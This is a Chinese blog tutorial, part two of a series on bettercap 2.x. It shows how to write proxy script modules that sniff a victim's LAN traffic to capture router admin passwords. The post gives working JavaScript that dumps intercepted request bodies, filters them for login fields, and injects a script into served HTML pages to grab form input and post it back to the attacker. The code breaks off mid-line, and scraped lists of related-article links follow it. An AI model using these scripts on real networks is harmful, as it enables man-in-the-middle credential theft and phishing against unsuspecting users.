/文章作者:Kali_MG1937

CNBLOG博客:ALDYS4

QQ:3496925334
/

第一期: https://www.cnblogs.com/aldys4/p/14877783.html

在上第一期文章中我简要解析了bettercap模块的编写方法

这一期我们将编写一个注入模块来应用于实战中

实战内容:流量嗅探

明晰思路

假设一个场景:你想要进入内网的路由器管理页面

可是你并不知道密码,那么就需要嗅探管理员的流量,诱导对方登入管理页面以便自己得到密码

思路非常简单

要嗅探目标主机可能发送的关键信息,主要还是拦截目标主机发出的请求

我们在上一期已经知道onRequest函数是用来拦截request请求的

其中包含两个变量:req,res

req即为request,所以我们对这个函数进行操作

利用ReadBody函数来读取req的具体内容并打印在终端上

开始工程

function onRequest(req,res)
{
var data=req.ReadBody();
log("\033[01;32mDUMP!!!:\n"+data);
}

很简单易懂的代码,我们将模块带入bettercap进行测试



可以看到 目标主机一旦发送请求,就能立刻被拦截

接下来将脚本升级,让脚本自动嗅探密码之类的关键信息

function onRequest(req,res)
{
var data=req.ReadBody();
if(data.indexOf("user_name")!=-1)
{
log("\033[01;32mPASSWORD DUMP!!!!!!!!:\n"+data);
}
}

可以看到我只是对body的内容进行判断,脚本就能自动筛选重要信息了

嗅探关键信息的思路明晰之后就非常好办了

但如果受害者发送的请求已经经过加密那该怎么办?

那也非常简单,我们可以对服务器发送给目标主机的内容做做手脚

我在这里举一个简单的例子:

对网页内容注入一个脚本,让目标主机在点击登入按钮时获取用户名及密码input标签的内容并发送给我

我先编写一个欲注入的js脚本,命名为inject.js

<script>
function posts()
{
var http=new XMLHttpRequest();
var data=document.getElementById("username").value;
alert(data);//我这里仅仅是为了测试而调用alert函数
http.open('POST','/test');//向test页面发送请求
http.send(data);
}
</script>

很明显,我写的上面这个脚本先建立一个XMLHttpRequest对象

并将指定id的值放入data

最终函数将向一个不存在的页面发送post请求,以便bettercap嗅探到

function onRequest(req, res) {
if( req.Method == 'POST' && req.Path == "/test" )
//如果请求是post,并且请求页面是test,则执行如下代码
{
log( "\033[01;32m[LOGIN MANAGER ABUSER]\n"+req.ReadBody() );
headers = res.Headers.split("\r\n");
for (var i = 0; i < headers.length; i++) {
header_name = headers[i].replace(/:.*/, "");
res.RemoveHeader(header_name);
}
res.SetHeader("Connection", "close");
res.Status = 200;
res.ContentType = "text/html";
res.Body = "";//清除请求内容
}
} // inject the javascript in html pages
function onResponse(req, res) {
if( res.ContentType.indexOf('text/html') == 0 ){
var body = res.ReadBody();
if( body.indexOf('') != -1 ) {
body = body.replace(
'',
'<script type="text/javascript">' + "\n" +
readFile("/root/inject.js")//注入脚本 +
'</script>' +
''
); //这一部分注入脚本
body=body.replace('

【工具解析】瑞士军刀bettercap2.X_解析_第二期_内网钓鱼(嗅探)工具编写的更多相关文章

  1. linux下搭建redis内网端口映射工具-rinetd

    最近在工作中使用到了redis缓存,用来提某些业务场景的计算速度和某些情况下的操作频率限制,客户端工具使用了redisDesktopmanager来管理,在本机操作测试的时候,是没有问题的.但是将系统 ...

  2. 【渗透实战】那些奇葩的WAF_第二期_无意发现通杀漏洞,空字节突破上传!

    /文章作者:Kali_MG1937 CSDN博客号:ALDYS4 QQ:3496925334 未经许可,禁止转载/ 该博文为本人18年左右的渗透记录,文法粗糙,技术含量极低,流水账文章,且今日不知为何 ...

  3. linux下内网端口转发工具:linux版lcx [实现远程内网维护]

    这个工具以前使用的初衷是内网渗透,需要将内网ssh端口转发到外网服务器上.但这个工具同样适用于运维工程师进行远程内网维护. 当然这一切的前提是内网可以访问外网,检测方法当然就是直接ping 一个外网I ...

  4. Natapp内网穿透服务工具

    在做微信开发的时候,调用微信接口成功之后,微信会回调我们事先配置好的一个接口.由于微信的服务是在外网的,所以这个回调接口也只能是外网,而且微信要求回调接口只能是通过ICP备案的域名,不能使用IP,所以 ...

  5. 【工具解析】瑞士军刀bettercap2.X解析_第一期_编写HTTP代理注入模块_http(s).proxy.script

    /文章作者:Kali_MG1937 CNBLOG博客号:ALDYS4 QQ:3496925334/ 前言 bettercap已经从1.6更新至2.0版本 语言也从ruby改为了go 编写注入模块指定的 ...

  6. 深入理解java虚拟机_第二章_读书笔记

    1.本章内容目录: 概述 运行时数据区域 程序计数器 java虚拟机栈 本地方法栈 java堆 方法区 运行时常量池 直接内存 HotSpot虚拟机对象探秘 对象的创建 对象的内存布局 对象的访问定位 ...

  7. C语言_第二讲_规范以及常用数据类型

    一丶编码规范基本数据类型 编码规范 任何程序员,都应该有良好的的编码习惯,便于以后的代码可读性和维护 常见了编码规范有 匈牙利命名法 驼峰式大小写 匈牙利命名法: 是电脑程序设计中的一种变量命名规则, ...

  8. Java编程思想_笔记_第二章_一切都是对象

    第二章对于知识只是点到,会在以后章节会详细展开. 笔记的侧重会偏向记录自己知识模糊的地方.比如 xxx 很重要很难很实用,但是已经熟练使用就没有记录,而 “使用对象.成员名称来使用成员变量”,较简单而 ...

  9. Python笔记_第二篇_面向过程_第二部分_5.第三方模块的使用和自定模块(以Pillow模块为例)

    1. 安装第三方模块: 打开黑屏终端: cmd: pip -verson pip - V C:\windows\system32>pip -V pip from c:\python37\lib\ ...

随机推荐

  1. 【java--反射】注解(反射解析注解+注解应用)

    创建实体类 package cn.com.codingce.iocannotation; /** * @Author: Jiangjun * @Date: 2019/10/7 9:54 */ publ ...

  2. 获取汉字首字母并分组排列 PHP

    1.代码class Character{ /** * 数组根据首首字母排序 */ /** * 二维数组根据首字母分组排序 * @param array $data 二维数组 * @param stri ...

  3. 制作 PPT 的新方式出现了——GitHub 热点速览 v.21.19

    作者:HelloGitHub-小鱼干 想当初 Markdown 的出现,拯救了多少死在 Word 样式调整上的人,现在,slidev 出现了,它让你 Focus 在本该专注的 PPT 内容制作上而不需 ...

  4. 基于texlive定制chemfig化学式转换Python服务镜像

    chemfig 据别人介绍,在绘制平面分子式,乃至化学反应式.机理图时,大家使用的基本都是ChemDraw.当然ChemDraw是一款强大的软件,无论是平面的还是立体的分子结构式都能毫不费力地绘制出来 ...

  5. hdu 2072 1106学一波字符串分割,C语言与C++两种方法

    hdu2072:题意:输出给定字符串中的单词数(一个句子中可能有两个相同的单词),这里的思想是把每个单词取出来,放入set(这个集合容器中不允许有相同的元素)中,最后输出该集合的大小即可. 现在的问题 ...

  6. k3d入门指南:在Docker中运行K3s

    在本文中,我们将简单了解k3d,这是一款可让您在安装了Docker的任何地方运行一次性Kubernetes集群的工具,此外在本文中我们还将探讨在使用k3d中可能会出现的一切问题. 什么是k3d? k3 ...

  7. 软负载Nginx和硬负载F5的优缺点对比

    对于数据流量过大的网络中,往往单一设备无法承担,需要多台设备进行数据分流,而负载均衡器就是用来将数据分流到多台设备的一个转发器.​ a.软件负载均衡解决方案 在一台服务器的操作系统上,安装一个附加软件 ...

  8. Pytorch_Part7_模型使用

    VisualPytorch beta发布了! 功能概述:通过可视化拖拽网络层方式搭建模型,可选择不同数据集.损失函数.优化器生成可运行pytorch代码 扩展功能:1. 模型搭建支持模块的嵌套:2. ...

  9. Spring循环依赖问题的解决

    循环依赖问题 一个bean的创建分为如下步骤: 当创建一个简单对象的时候,过程如下: 先从单例池中获取bean,发现无 a 创建 a 的实例 为 a 赋值 把 a 放到单例池中 当创建一个对象并且其中 ...

  10. 从零搭建springboot服务01-初始搭建、内嵌swagger

    愿历尽千帆,归来仍是少年 1.基础springBoot框架 编辑工具:IDEA.jdk1.8.tomcat8.maven3.3.9 编码格式:UTF-8 参考文献:https://www.cnblog ...